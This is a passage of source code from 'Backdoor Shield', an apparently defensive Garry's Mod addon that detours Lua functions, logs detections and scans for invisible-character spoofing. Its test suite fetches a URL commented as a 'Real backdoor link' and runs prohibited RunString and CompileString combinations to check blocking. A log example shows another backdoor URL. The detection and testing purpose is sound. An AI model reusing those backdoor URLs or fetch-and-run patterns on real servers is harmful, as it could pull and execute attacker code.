vars.requiredStackLevel = vars.requiredStackLevel - 1 231 | end 232 | -- Step 2: Skip a stack level, so we can check the stack locally using vars. 233 | elseif vars.skipLevel then 234 | vars.foundGetinfo = true 235 | -- Step 1: Find debug.getinfo. 236 | -- Return if the stack level is 1. 237 | elseif value.func == debug.getinfo then 238 | if vars.requiredStackLevel == 1 then 239 | return _debug.getinfo(vars.increment, vars.requiredFields) 240 | else 241 | vars.skipLevel = true 242 | vars.requiredStackLevel = vars.requiredStackLevel - 1 243 | end 244 | end 245 | 246 | --Debug 247 | --print(value.name) 248 | --print(value.func == debug.getinfo) 249 | end 250 | 251 | vars.increment = vars.increment + 1 252 | end 253 | end 254 | 255 | function BS:Stack_SkipBSFunctionss(args) 256 | args[2] = args[2] or "flnSu" 257 | _table.insert(args, self.folder.lua) 258 | InsertArgs(args) 259 | return Stack_SkipBSFunctions() 260 | end -------------------------------------------------------------------------------- /lua/bs/server/libs/base/log.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Check if a log folder name is unique and, if it's not the case, return a unique one 7 | -- These names can repeat if detections occur too fast 8 | local function ValidateFolderName(testName) 9 | local function ValidateFolderNameAux(newName, i) 10 | newName = newName:gsub("/:", "_" .. tostring(i + 1) .. "/") 11 | 12 | if not file.Exists(newName, "DATA") then 13 | return newName 14 | else 15 | return ValidateFolderNameAux(testName .. ":", i + 1) 16 | end 17 | end 18 | 19 | if testName and file.Exists(testName, "DATA") then 20 | return ValidateFolderNameAux(testName .. ":", 1) 21 | end 22 | 23 | return testName 24 | end 25 | table.insert(BS.locals, ValidateFolderName) 26 | 27 | -- Make a nice format to the included codes 28 | local function FormatTypesList(snippet, file) 29 | if not snippet and not file then return end 30 | 31 | local messages = { 32 | ["snippet"] = "Detected code snippet", 33 | ["file"] = "Full Lua file" , 34 | } 35 | 36 | local indent = " " 37 | local result = [[ 38 | 39 | ]] .. (snippet and indent .. (messages["snippet"] .. "\n") or "") .. [[ 40 | ]] .. (file and indent .. (messages["file"]) or "") 41 | 42 | return result 43 | end 44 | table.insert(BS.locals, FormatTypesList) 45 | 46 | -- Make a nice format to the detected functions list 47 | local function FormatDetectedList(inDetected) 48 | if not inDetected or #inDetected == 0 then return end 49 | 50 | local detected = "" 51 | 52 | for _,v1 in pairs(inDetected) do 53 | if isstring(v1) then 54 | detected = detected .. "\n " .. v1 55 | elseif istable(v1) then 56 | for _,v2 in pairs(v1) do 57 | detected = detected .. "\n " .. v2 58 | end 59 | end 60 | end 61 | 62 | return detected 63 | end 64 | table.insert(BS.locals, FormatDetectedList) 65 | 66 | -- Build the log message 67 | -- I need this to print smaller console logs for warnings while saving the full log 68 | local function FormatLog(info) 69 | local partialLog 70 | local fullLog = "" 71 | 72 | -- Create full message 73 | for _,v in ipairs(info) do 74 | fullLog = fullLog .. v 75 | end 76 | 77 | fullLog = "\n" .. string.Trim(fullLog) .. "\n" 78 | 79 | -- Create partial message to warnings, so we don't flood the console with too much information 80 | if info.type == "warning" then 81 | -- Alert function detected log dir trace 82 | partialLog = "\n" .. string.Trim(info[1] .. info[3] .. info[4] .. info[6] .. info[8]) .. "\n" 83 | end 84 | 85 | return fullLog, partialLog 86 | end 87 | table.insert(BS.locals, FormatLog) 88 | 89 | --[[ 90 | Print live detections to console and files 91 | 92 | Structure: 93 | 94 | infoIn = { 95 | * alert = Message explaining the detection 96 | func = Name of the bad function 97 | detected = List of the prohibited calls detected inside the detected function 98 | * type = Detection type. I commonly use "detected", "warning" and "detour" 99 | folder = Main folder to store this dectetion. I commonly use the detected function name, so it's easier to find the real threats 100 | trace = Lua function call stack. Due to my persistent trace system, it can contain multiple stacks 101 | snippet = Detected code snippet 102 | file = File where detection occurred 103 | } 104 | 105 | * Required fields 106 | 107 | Note: Using the type "warning" will generate full file logs but smaller console prints 108 | ]] 109 | function BS:Report_LiveDetection(infoIn) 110 | -- Format the report informations 111 | local timestamp = os.time() 112 | local date = os.date("%Y-%m-%d", timestamp) 113 | local timeFormat1 = os.date("%H.%M.%S", timestamp) 114 | local timeFormat2 = os.date("%Hh %Mm %Ss", timestamp) 115 | 116 | --[[ 117 | dayFolder e.g. /03-16-2021/ 118 | typeFile log_detected.txt 119 | mainFolder /http.Fetch/ 120 | logFolder /23.57.47 - detected/ 121 | logFile [Log].txt 122 | luaFile Full Lua file.txt 123 | snippetFile Detected code snippet.txt 124 | ]] 125 | local dayFolder = self.folder.data .. "/" .. date .. "/" 126 | local typeFile = dayFolder .. "/log_" .. infoIn.type .. ".txt" 127 | local mainFolder = infoIn.folder and dayFolder .. infoIn.folder .. "/" 128 | local logFolder = mainFolder and ValidateFolderName(mainFolder .. timeFormat1 .. " - " .. infoIn.type .. "/") 129 | local logFile = logFolder and logFolder .. "/[Log].txt" 130 | local luaFile = logFolder and infoIn.file and logFolder .. "Full Lua file.txt" 131 | local snippetFile = logFolder and infoIn.snippet and logFolder .. "Detected code snippet.txt" 132 | 133 | local filesGenerated = logFolder and FormatTypesList(infoIn.snippet, infoIn.file) 134 | 135 | local detected = FormatDetectedList(infoIn.detected) 136 | 137 | local info = { -- If you change the fields order, update FormatLog(). Also, use "::" to identify the color position 138 | self.alert .. " " .. infoIn.alert or "", 139 | "\n Date & time:: " .. date .. " | " .. timeFormat2, 140 | infoIn.trace and "\n Location:: " .. self:Trace_GetLuaFile(infoIn.trace) or "", 141 | infoIn.func and "\n Function:: " .. infoIn.func or "", 142 | detected and "\n Trying to call::" .. detected or "", 143 | infoIn.url and "\n Url:: " .. infoIn.url or "", 144 | "\n Log Folder:: data/" .. (logFolder or dayFolder), 145 | filesGenerated and "\n Log Contents:: " .. filesGenerated or "", 146 | infoIn.trace and "\n Trace:: " .. infoIn.trace or "" 147 | } 148 | 149 | local fullLog, partialLog = FormatLog(info) 150 | 151 | --[[ 152 | Full log preview (e.g.): 153 | 154 | [Backdoor Shield] Execution detected! 155 | Date & Time: 03-14-2021 | 23h 57m 47s 156 | Location: addons/ariviaf4/lua/autorun/_arivia_load.lua:111 157 | Function: http.Fetch 158 | Trying to call: 159 | CompileString 160 | http.Fetch 161 | Url: https://gvac.cz/link/fuck.php?key=McIjefKcSOKuWbTxvLWC 162 | Log Folder: data/backdoor-shield/03-14-2021/http.Fetch/23.57.47 - detected/ 163 | Log Contents: 164 | Detected code snippet 165 | Full Lua file 166 | Trace: 167 | (+) 168 | stack traceback: 169 | addons/backdoor-shield/lua/bs/server/modules/detouring/functions.lua:80: in function 'Fetch' 170 | addons/ariviaf4/lua/autorun/_arivia_load.lua:111: in function 171 | 172 | stack traceback: 173 | addons/backdoor-shield/lua/bs/server/modules/detouring/functions.lua:80: in function 'Fetch' 174 | addons/ariviaf4/lua/autorun/_arivia_load.lua:111: in function 175 | 176 | Note: the stack traceback is repeated to mimic the persistent trace behaviour. 177 | ]] 178 | 179 | -- Print to console 180 | for linePos,lineText in ipairs(string.Explode("\n", partialLog or fullLog)) do 181 | local lineParts = string.Explode("::", lineText) 182 | 183 | if linePos == 2 then 184 | local alertInfo = infoIn.type == "detected" and { 185 | color = self.colors.highRisk, 186 | prefix = " [HIGH] " 187 | } or { 188 | color = self.colors.mediumRisk, 189 | prefix = " [Medium] " 190 | } 191 | MsgC(alertInfo.color, "▉▉▉", self.colors.value, alertInfo.prefix .. lineText .. "\n") 192 | elseif #lineParts > 0 then 193 | if not lineParts[2] then 194 | MsgC(self.colors.value, lineParts[1] .. "\n") 195 | else 196 | MsgC(self.colors.key, lineParts[1] .. ":", self.colors.value, lineParts[2] .. "\n") 197 | end 198 | else 199 | print(lineText) 200 | end 201 | end 202 | 203 | -- Clean color identificator 204 | fullLog = string.gsub(fullLog, "::", ":") 205 | 206 | -- Update counter 207 | if infoIn.type == "warning" then 208 | self.liveCount.warnings = self.liveCount.warnings + 1 209 | else 210 | self.liveCount.detections = self.liveCount.detections + 1 211 | end 212 | 213 | -- Send a GUI update 214 | if self.live.alertAdmins then 215 | for _,ply in pairs(player.GetHumans()) do 216 | if ply:IsAdmin() then 217 | net.Start("BS_AddNotification") 218 | net.WriteString(tostring(self.liveCount.detections)) 219 | net.WriteString(tostring(self.liveCount.warnings)) 220 | net.Send(ply) 221 | end 222 | end 223 | end 224 | 225 | -- Create directories 226 | if infoIn.folder and not file.Exists(logFolder, "DATA") then 227 | file.CreateDir(logFolder) 228 | end 229 | 230 | -- Update type log life 231 | file.Append(typeFile, fullLog) 232 | 233 | -- Create log file 234 | if logFile then 235 | file.Write(logFile, fullLog) 236 | end 237 | 238 | -- Copy Lua file 239 | if luaFile and infoIn.file and file.Exists(infoIn.file, "GAME") then 240 | local f = file.Open(infoIn.file, "r", "GAME") 241 | if not f then return end 242 | 243 | file.Write(luaFile, f:Read(f:Size())) 244 | 245 | f:Close() 246 | end 247 | 248 | -- Create snippet file 249 | if snippetFile and infoIn.snippet then 250 | file.Write(snippetFile, infoIn.snippet) 251 | end 252 | end 253 | 254 | -- Print scan detections to console 255 | function BS:Report_ScanDetection(resultString, resultsList, results) 256 | if resultsList ~= results.lowRisk or self.scanner.printLowRisk then 257 | for lineCount, lineText in pairs(string.Explode("\n", resultString)) do 258 | if lineCount == 1 then 259 | local lineInfo = resultsList == results.highRisk and { " [HIGH] ", self.colors.highRisk } or -- Linux compatible colors 260 | resultsList == results.mediumRisk and { " [Medium] ", self.colors.mediumRisk } or 261 | resultsList == results.lowRisk and { " [low] ", self.colors.lowRisk } 262 | 263 | MsgC(lineInfo[2], "▉▉▉", self.colors.value, lineInfo[1] .. lineText .. "\n") 264 | else 265 | print(lineText) 266 | end 267 | end 268 | end 269 | end 270 | 271 | -- Print scan results to console and file 272 | function BS:Report_ScanResults(results) 273 | MsgC(self.colors.header, "\nScan results:\n\n") 274 | 275 | MsgC(self.colors.key, " Files scanned: ", self.colors.value, results.totalScanned .. "\n\n") 276 | 277 | MsgC(self.colors.key, " Detections:\n") 278 | MsgC(self.colors.key, " | High-Risk : ", self.colors.value, #results.highRisk .. "\n") 279 | MsgC(self.colors.key, " | Medium-Risk : ", self.colors.value, #results.mediumRisk .. "\n") 280 | MsgC(self.colors.key, " | Low-Risk : ", self.colors.value, #results.lowRisk .. "\n") 281 | MsgC(self.colors.key, " | Discarded : ", self.colors.value, results.discarded .. "\n\n") 282 | 283 | local timestamp = os.time() 284 | local date = os.date("%Y-%m-%d", timestamp) 285 | local time = os.date("%Hh %Mm %Ss", timestamp) 286 | local logFile = self.folder.data .. "/Scan_" .. date .. "_(" .. time .. ").txt" 287 | 288 | local topSeparator = "\n\n\n\n\n" 289 | local bottomSeparator = "\n-----------------------------------------------------------------------------------\n\n" 290 | 291 | local message = [[ 292 | [HIGH RISK detections] ]] .. bottomSeparator ..[[ 293 | ]] .. table.ToString(results.highRisk, "Results", true) .. [[ 294 | ]] .. topSeparator .. "[MEDIUM RISK detections]" .. bottomSeparator .. [[ 295 | ]] .. table.ToString(results.mediumRisk, "Results", true) .. [[ 296 | ]] .. topSeparator .. "[LOW RISK detections]" .. bottomSeparator .. [[ 297 | ]] .. table.ToString(results.lowRisk, "Results", true) 298 | 299 | file.Append(logFile, message) 300 | 301 | MsgC(self.colors.key, " Saved as: ", self.colors.value, "data/" .. logFile .. "\n\n") 302 | 303 | MsgC(self.colors.message, "Check the log file for more information.\n\n") 304 | end -------------------------------------------------------------------------------- /lua/bs/server/libs/base/invisible.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | BS.UTF8InvisibleChars = { 7 | -- Source: https://github.com/microsoft/vscode/blob/bb5215fff67fd9f40e247a353cc0e5e84a28f49f/src/vs/base/common/strings.ts#L1175 8 | -- Thank you, VSCode! 9 | -- Check chars online: https://www.soscisurvey.de/tools/view-chars.php 10 | -- About source code spoofing: https://www.unicode.org/L2/L2022/22007-avoiding-spoof.pdf 11 | -- Decimal UTF-16BE invisible characters list: 12 | 13 | -- Note: To get these numbers unicode id convert them to hexadecimal (signed 2's complement) and add U+ in front of the result 14 | -- You can also use utf8.char() to get the string back 15 | 16 | --[9] = true, -- Tab 17 | --[10] = true, -- New line 18 | [11] = true, 19 | [12] = true, 20 | --[13] = true, -- Carriage Return 21 | --[32] = true, -- Space 22 | [127] = true, 23 | [160] = true, 24 | [173] = true, 25 | [847] = true, 26 | [1564] = true, 27 | [4447] = true, 28 | [4448] = true, 29 | [6068] = true, 30 | [6069] = true, 31 | [6155] = true, 32 | [6156] = true, 33 | [6157] = true, 34 | [6158] = true, 35 | [7355] = true, 36 | [7356] = true, 37 | [8192] = true, 38 | [8193] = true, 39 | [8194] = true, 40 | [8195] = true, 41 | [8196] = true, 42 | [8197] = true, 43 | [8198] = true, 44 | [8199] = true, 45 | [8200] = true, 46 | [8201] = true, 47 | [8202] = true, 48 | [8203] = true, 49 | [8204] = true, 50 | [8205] = true, 51 | [8206] = true, 52 | [8207] = true, 53 | [8234] = true, 54 | [8235] = true, 55 | [8236] = true, 56 | [8237] = true, 57 | [8238] = true, 58 | [8239] = true, 59 | [8287] = true, 60 | [8288] = true, 61 | [8289] = true, 62 | [8290] = true, 63 | [8291] = true, 64 | [8292] = true, 65 | [8293] = true, 66 | [8294] = true, 67 | [8295] = true, 68 | [8296] = true, 69 | [8297] = true, 70 | [8298] = true, 71 | [8299] = true, 72 | [8300] = true, 73 | [8301] = true, 74 | [8302] = true, 75 | [8303] = true, 76 | [10240] = true, 77 | [12288] = true, 78 | [12644] = true, 79 | [65024] = true, 80 | [65025] = true, 81 | [65026] = true, 82 | [65027] = true, 83 | [65028] = true, 84 | [65029] = true, 85 | [65030] = true, 86 | [65031] = true, 87 | [65032] = true, 88 | [65033] = true, 89 | [65034] = true, 90 | [65035] = true, 91 | [65036] = true, 92 | [65037] = true, 93 | [65038] = true, 94 | [65039] = true, 95 | [65279] = true, 96 | [65440] = true, 97 | [65520] = true, 98 | [65521] = true, 99 | [65522] = true, 100 | [65523] = true, 101 | [65524] = true, 102 | [65525] = true, 103 | [65526] = true, 104 | [65527] = true, 105 | [65528] = true, 106 | [65532] = true, 107 | [78844] = true, 108 | [119155] = true, 109 | [119156] = true, 110 | [119157] = true, 111 | [119158] = true, 112 | [119159] = true, 113 | [119160] = true, 114 | [119161] = true, 115 | [119162] = true, 116 | [917504] = true, 117 | [917505] = true, 118 | [917506] = true, 119 | [917507] = true, 120 | [917508] = true, 121 | [917509] = true, 122 | [917510] = true, 123 | [917511] = true, 124 | [917512] = true, 125 | [917513] = true, 126 | [917514] = true, 127 | [917515] = true, 128 | [917516] = true, 129 | [917517] = true, 130 | [917518] = true, 131 | [917519] = true, 132 | [917520] = true, 133 | [917521] = true, 134 | [917522] = true, 135 | [917523] = true, 136 | [917524] = true, 137 | [917525] = true, 138 | [917526] = true, 139 | [917527] = true, 140 | [917528] = true, 141 | [917529] = true, 142 | [917530] = true, 143 | [917531] = true, 144 | [917532] = true, 145 | [917533] = true, 146 | [917534] = true, 147 | [917535] = true, 148 | [917536] = true, 149 | [917537] = true, 150 | [917538] = true, 151 | [917539] = true, 152 | [917540] = true, 153 | [917541] = true, 154 | [917542] = true, 155 | [917543] = true, 156 | [917544] = true, 157 | [917545] = true, 158 | [917546] = true, 159 | [917547] = true, 160 | [917548] = true, 161 | [917549] = true, 162 | [917550] = true, 163 | [917551] = true, 164 | [917552] = true, 165 | [917553] = true, 166 | [917554] = true, 167 | [917555] = true, 168 | [917556] = true, 169 | [917557] = true, 170 | [917558] = true, 171 | [917559] = true, 172 | [917560] = true, 173 | [917561] = true, 174 | [917562] = true, 175 | [917563] = true, 176 | [917564] = true, 177 | [917565] = true, 178 | [917566] = true, 179 | [917567] = true, 180 | [917568] = true, 181 | [917569] = true, 182 | [917570] = true, 183 | [917571] = true, 184 | [917572] = true, 185 | [917573] = true, 186 | [917574] = true, 187 | [917575] = true, 188 | [917576] = true, 189 | [917577] = true, 190 | [917578] = true, 191 | [917579] = true, 192 | [917580] = true, 193 | [917581] = true, 194 | [917582] = true, 195 | [917583] = true, 196 | [917584] = true, 197 | [917585] = true, 198 | [917586] = true, 199 | [917587] = true, 200 | [917588] = true, 201 | [917589] = true, 202 | [917590] = true, 203 | [917591] = true, 204 | [917592] = true, 205 | [917593] = true, 206 | [917594] = true, 207 | [917595] = true, 208 | [917596] = true, 209 | [917597] = true, 210 | [917598] = true, 211 | [917599] = true, 212 | [917600] = true, 213 | [917601] = true, 214 | [917602] = true, 215 | [917603] = true, 216 | [917604] = true, 217 | [917605] = true, 218 | [917606] = true, 219 | [917607] = true, 220 | [917608] = true, 221 | [917609] = true, 222 | [917610] = true, 223 | [917611] = true, 224 | [917612] = true, 225 | [917613] = true, 226 | [917614] = true, 227 | [917615] = true, 228 | [917616] = true, 229 | [917617] = true, 230 | [917618] = true, 231 | [917619] = true, 232 | [917620] = true, 233 | [917621] = true, 234 | [917622] = true, 235 | [917623] = true, 236 | [917624] = true, 237 | [917625] = true, 238 | [917626] = true, 239 | [917627] = true, 240 | [917628] = true, 241 | [917629] = true, 242 | [917630] = true, 243 | [917631] = true, 244 | [917760] = true, 245 | [917761] = true, 246 | [917762] = true, 247 | [917763] = true, 248 | [917764] = true, 249 | [917765] = true, 250 | [917766] = true, 251 | [917767] = true, 252 | [917768] = true, 253 | [917769] = true, 254 | [917770] = true, 255 | [917771] = true, 256 | [917772] = true, 257 | [917773] = true, 258 | [917774] = true, 259 | [917775] = true, 260 | [917776] = true, 261 | [917777] = true, 262 | [917778] = true, 263 | [917779] = true, 264 | [917780] = true, 265 | [917781] = true, 266 | [917782] = true, 267 | [917783] = true, 268 | [917784] = true, 269 | [917785] = true, 270 | [917786] = true, 271 | [917787] = true, 272 | [917788] = true, 273 | [917789] = true, 274 | [917790] = true, 275 | [917791] = true, 276 | [917792] = true, 277 | [917793] = true, 278 | [917794] = true, 279 | [917795] = true, 280 | [917796] = true, 281 | [917797] = true, 282 | [917798] = true, 283 | [917799] = true, 284 | [917800] = true, 285 | [917801] = true, 286 | [917802] = true, 287 | [917803] = true, 288 | [917804] = true, 289 | [917805] = true, 290 | [917806] = true, 291 | [917807] = true, 292 | [917808] = true, 293 | [917809] = true, 294 | [917810] = true, 295 | [917811] = true, 296 | [917812] = true, 297 | [917813] = true, 298 | [917814] = true, 299 | [917815] = true, 300 | [917816] = true, 301 | [917817] = true, 302 | [917818] = true, 303 | [917819] = true, 304 | [917820] = true, 305 | [917821] = true, 306 | [917822] = true, 307 | [917823] = true, 308 | [917824] = true, 309 | [917825] = true, 310 | [917826] = true, 311 | [917827] = true, 312 | [917828] = true, 313 | [917829] = true, 314 | [917830] = true, 315 | [917831] = true, 316 | [917832] = true, 317 | [917833] = true, 318 | [917834] = true, 319 | [917835] = true, 320 | [917836] = true, 321 | [917837] = true, 322 | [917838] = true, 323 | [917839] = true, 324 | [917840] = true, 325 | [917841] = true, 326 | [917842] = true, 327 | [917843] = true, 328 | [917844] = true, 329 | [917845] = true, 330 | [917846] = true, 331 | [917847] = true, 332 | [917848] = true, 333 | [917849] = true, 334 | [917850] = true, 335 | [917851] = true, 336 | [917852] = true, 337 | [917853] = true, 338 | [917854] = true, 339 | [917855] = true, 340 | [917856] = true, 341 | [917857] = true, 342 | [917858] = true, 343 | [917859] = true, 344 | [917860] = true, 345 | [917861] = true, 346 | [917862] = true, 347 | [917863] = true, 348 | [917864] = true, 349 | [917865] = true, 350 | [917866] = true, 351 | [917867] = true, 352 | [917868] = true, 353 | [917869] = true, 354 | [917870] = true, 355 | [917871] = true, 356 | [917872] = true, 357 | [917873] = true, 358 | [917874] = true, 359 | [917875] = true, 360 | [917876] = true, 361 | [917877] = true, 362 | [917878] = true, 363 | [917879] = true, 364 | [917880] = true, 365 | [917881] = true, 366 | [917882] = true, 367 | [917883] = true, 368 | [917884] = true, 369 | [917885] = true, 370 | [917886] = true, 371 | [917887] = true, 372 | [917888] = true, 373 | [917889] = true, 374 | [917890] = true, 375 | [917891] = true, 376 | [917892] = true, 377 | [917893] = true, 378 | [917894] = true, 379 | [917895] = true, 380 | [917896] = true, 381 | [917897] = true, 382 | [917898] = true, 383 | [917899] = true, 384 | [917900] = true, 385 | [917901] = true, 386 | [917902] = true, 387 | [917903] = true, 388 | [917904] = true, 389 | [917905] = true, 390 | [917906] = true, 391 | [917907] = true, 392 | [917908] = true, 393 | [917909] = true, 394 | [917910] = true, 395 | [917911] = true, 396 | [917912] = true, 397 | [917913] = true, 398 | [917914] = true, 399 | [917915] = true, 400 | [917916] = true, 401 | [917917] = true, 402 | [917918] = true, 403 | [917919] = true, 404 | [917920] = true, 405 | [917921] = true, 406 | [917922] = true, 407 | [917923] = true, 408 | [917924] = true, 409 | [917925] = true, 410 | [917926] = true, 411 | [917927] = true, 412 | [917928] = true, 413 | [917929] = true, 414 | [917930] = true, 415 | [917931] = true, 416 | [917932] = true, 417 | [917933] = true, 418 | [917934] = true, 419 | [917935] = true, 420 | [917936] = true, 421 | [917937] = true, 422 | [917938] = true, 423 | [917939] = true, 424 | [917940] = true, 425 | [917941] = true, 426 | [917942] = true, 427 | [917943] = true, 428 | [917944] = true, 429 | [917945] = true, 430 | [917946] = true, 431 | [917947] = true, 432 | [917948] = true, 433 | [917949] = true, 434 | [917950] = true, 435 | [917951] = true, 436 | [917952] = true, 437 | [917953] = true, 438 | [917954] = true, 439 | [917955] = true, 440 | [917956] = true, 441 | [917957] = true, 442 | [917958] = true, 443 | [917959] = true, 444 | [917960] = true, 445 | [917961] = true, 446 | [917962] = true, 447 | [917963] = true, 448 | [917964] = true, 449 | [917965] = true, 450 | [917966] = true, 451 | [917967] = true, 452 | [917968] = true, 453 | [917969] = true, 454 | [917970] = true, 455 | [917971] = true, 456 | [917972] = true, 457 | [917973] = true, 458 | [917974] = true, 459 | [917975] = true, 460 | [917976] = true, 461 | [917977] = true, 462 | [917978] = true, 463 | [917979] = true, 464 | [917980] = true, 465 | [917981] = true, 466 | [917982] = true, 467 | [917983] = true, 468 | [917984] = true, 469 | [917985] = true, 470 | [917986] = true, 471 | [917987] = true, 472 | [917988] = true, 473 | [917989] = true, 474 | [917990] = true, 475 | [917991] = true, 476 | [917992] = true, 477 | [917993] = true, 478 | [917994] = true, 479 | [917995] = true, 480 | [917996] = true, 481 | [917997] = true, 482 | [917998] = true, 483 | [917999] = true 484 | } -------------------------------------------------------------------------------- /lua/bs/server/libs/liveprotection/debug.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Run synthetic tests to easyly check if code changes are working 7 | function BS:Debug_RunTests(args) 8 | local tests = {} 9 | tests.aux = {} 10 | 11 | tests.text = { 12 | { "all", "Run all tests" }, 13 | { "CompileFile", "Run a prohibited code combination" }, 14 | { "CompileString", "Run a prohibited code combination" }, 15 | { "debug.getfenv", "Try to get our custom environment" }, 16 | { "debug.getinfo", "Try to check if a detoured function is valid" }, 17 | { "detour", "Detour a function and call it" }, 18 | { "detour2", "Detour a function without calling it" }, 19 | { "getfenv", "Try to get our custom environment" }, 20 | { "http.Fetch", "Run a prohibited code combination" }, 21 | { "jit.util.funcinfo", "Try to check if a detoured function is valid" }, 22 | { "PersistentTrace", "Run a prohibited code combination with fake function names inside two timers" }, 23 | { "RunString", "Run a prohibited code combination" }, 24 | { "RunString2", "Run a prohibited code combination with fake function names" }, 25 | { "RunStringEx", "Run a prohibited code combination" }, 26 | { "stack", "Run functions in a forbidden call stack" }, 27 | --{ "tostring", "Try to check if a detoured function is valid" }, 28 | } 29 | 30 | tests.textAux = {} 31 | 32 | for _,textTab in ipairs(tests.text) do 33 | tests.textAux[textTab[1]] = textTab[2] 34 | end 35 | 36 | function tests.help() 37 | MsgC(self.colors.header, "\n Available tests:\n\n") 38 | for _,textTab in ipairs(tests.text) do 39 | local colorParts = string.Explode("::", string.format(" %-18s:: %s", textTab[1], textTab[2])) 40 | MsgC(self.colors.key, colorParts[1], self.colors.value, colorParts[2] .. "\n") 41 | end 42 | MsgC(self.colors.message, "\n Usage: bs_tests test1 test2 test3 ...\n\n") 43 | end 44 | 45 | function tests.detour() 46 | local bak = self.__G["timer"]["Simple"] 47 | MsgC(self.colors.header, "\n-----> Detour: " .. tests.textAux["detour"] .. "\n") 48 | local function detour() 49 | bak(0, function() end) 50 | end 51 | self.__G["timer"]["Simple"] = detour 52 | self.__G["timer"]["Simple"]() 53 | print() 54 | if self.__G["timer"]["Simple"] ~= detour then 55 | MsgC(self.colors.message, " (Pass) Detour undone.\n") 56 | else 57 | MsgC(self.colors.message, " (Fail) The detour still exists!\n") 58 | self.__G["timer"]["Simple"] = bak 59 | end 60 | print() 61 | end 62 | 63 | function tests.detour2() 64 | MsgC(self.colors.header, "\n-----> Detour2: " .. tests.textAux["detour2"] .. "\n") 65 | local function detourSilent() end 66 | self.__G["http"]["Post"] = detourSilent 67 | MsgC(self.colors.message, "\n (Wainting) Detouring auto check test result pending... After some seconds: Pass = block execution; Fail = no alerts.\n\n") 68 | end 69 | 70 | function tests.getfenv() 71 | MsgC(self.colors.header, "\n-----> getfenv: " .. tests.textAux["getfenv"] .. "\n") 72 | local env = self.__G.getfenv() 73 | print() 74 | if env == self.__G then 75 | MsgC(self.colors.message, " (Pass) Our custom environment is out of range.\n") 76 | else 77 | MsgC(self.colors.message, " (Fail) Our custom environment is exposed!\n") 78 | end 79 | print() 80 | end 81 | 82 | --[[ 83 | -- tostring detour is unstable 84 | function tests.tostring() 85 | MsgC(self.colors.header, "\n-----> tostring: " .. tests.textAux["tostring"] .. "\n") 86 | print() 87 | if string.find(self.__G.tostring(self.__G["jit"]["util"]["funcinfo"]), "builtin", nil, true) then 88 | MsgC(self.colors.message, " (Pass) A selected detour (jit.util.funcinfo) is invisible.\n") 89 | else 90 | MsgC(self.colors.message, " (Fail) A selected detour (jit.util.funcinfo) is visible!\n") 91 | end 92 | print() 93 | end 94 | --]] 95 | 96 | function tests.aux.debuggetfenv() 97 | MsgC(self.colors.header, "\n-----> debug.getfenv: " .. tests.textAux["debug.getfenv"] .. "\n") 98 | local function this() end 99 | local env = self.__G.debug.getfenv(this) 100 | print() 101 | if env == self.__G then 102 | MsgC(self.colors.message, " (Pass) Our custom environment is out of range.\n") 103 | else 104 | MsgC(self.colors.message, " (Fail) Our custom environment is exposed!\n") 105 | end 106 | print() 107 | end 108 | tests["debug.getfenv"] = tests.aux.debuggetfenv 109 | 110 | function tests.aux.httpFetch() 111 | MsgC(self.colors.header, "\n-----> http.Fetch: " .. tests.textAux["http.Fetch"] .. "\n") 112 | self.__G.http.Fetch("https://kvac.cz/f.php?key=sOn5ncyVYtRjxTR7vpKm", function (arg) -- Real backdoor link 113 | MsgC(self.colors.message, "\nProhibited code is running inside http.Fetch!\n") 114 | end) 115 | MsgC(self.colors.message, "\n (Waiting) http.Fetch test result pending... Pass = block execution; Fail = run script and print message.\n\n") 116 | end 117 | tests["http.Fetch"] = tests.aux.httpFetch 118 | 119 | function tests.RunString() 120 | MsgC(self.colors.header, "\n-----> RunString: " .. tests.textAux["RunString"] .. "\n") 121 | self.__G.RunString([[ BroadcastLua("print('')") print("\nProhibited code is running!")]]); 122 | MsgC(self.colors.message, "\n (Result) Pass = block execution; Fail = Print a message.\n\n") 123 | end 124 | 125 | function tests.RunString2() 126 | MsgC(self.colors.header, "\n-----> RunString2: " .. tests.textAux["RunString2"] .. "\n") 127 | self.__G.CompStrBypass = self.__G.CompileString 128 | self.__G.RunString([[ print("\n1") local two = CompStrBypass("print(2)") if isfunction(two) then two() end print("3")]]); 129 | self.__G.CompStrBypass = nil 130 | MsgC(self.colors.message, "\n (Result) Pass = 1 and 3 are printed and 2 missing; Fail = 1, 2 and 3 are printed.\n\n") 131 | end 132 | 133 | function tests.RunStringEx() 134 | MsgC(self.colors.header, "\n-----> RunStringEx: " .. tests.textAux["RunStringEx"] .. "\n") 135 | self.__G.RunStringEx([[BroadcastLua(print("Prohibited code is running!"))]]); 136 | MsgC(self.colors.message, "\n (Result) Pass = block execution; Fail = Print a message.\n\n") 137 | end 138 | 139 | function tests.aux.debuggetinfo() 140 | MsgC(self.colors.header, "\n-----> debug.getinfo: " .. tests.textAux["debug.getinfo"] .. "\n" .. "\n") 141 | PrintTable(self.__G.debug.getinfo(self.__G.RunString, "flnSu")) 142 | print() 143 | if self.__G.debug.getinfo(self.__G.RunString).short_src == "[C]" then 144 | MsgC(self.colors.message, " (Pass) A selected detour (RunString) is invisible.\n") 145 | else 146 | MsgC(self.colors.message, " (Fail) A selected detour (RunString) is visible!\n") 147 | end 148 | print() 149 | end 150 | tests["debug.getinfo"] = tests.aux.debuggetinfo 151 | 152 | function tests.aux.jitutilfuncinfo() 153 | MsgC(self.colors.header, "\n-----> jit.util.funcinfo: " .. tests.textAux["jit.util.funcinfo"] .. "\n\n") 154 | PrintTable(self.__G.jit.util.funcinfo(self.__G.debug.getinfo)) 155 | print() 156 | if self.__G.jit.util.funcinfo(self.__G.debug.getinfo)["source"] == nil then 157 | MsgC(self.colors.message, " (Pass) A selected detour (debug.getinfo) is invisible.\n") 158 | else 159 | MsgC(self.colors.message, " (Fail) A selected detour (debug.getinfo) is visible!\n") 160 | end 161 | print() 162 | end 163 | tests["jit.util.funcinfo"] = tests.aux.jitutilfuncinfo 164 | 165 | function tests.CompileFile() 166 | MsgC(self.colors.header, "\n-----> CompileFile: " .. tests.textAux["CompileFile"] .. "\n") 167 | local compFile = self.__G.CompileFile("bs/server/libs/liveprotection/debug.lua") 168 | if not compFile() then 169 | MsgC(self.colors.message, " (Pass) A file full of prohibited 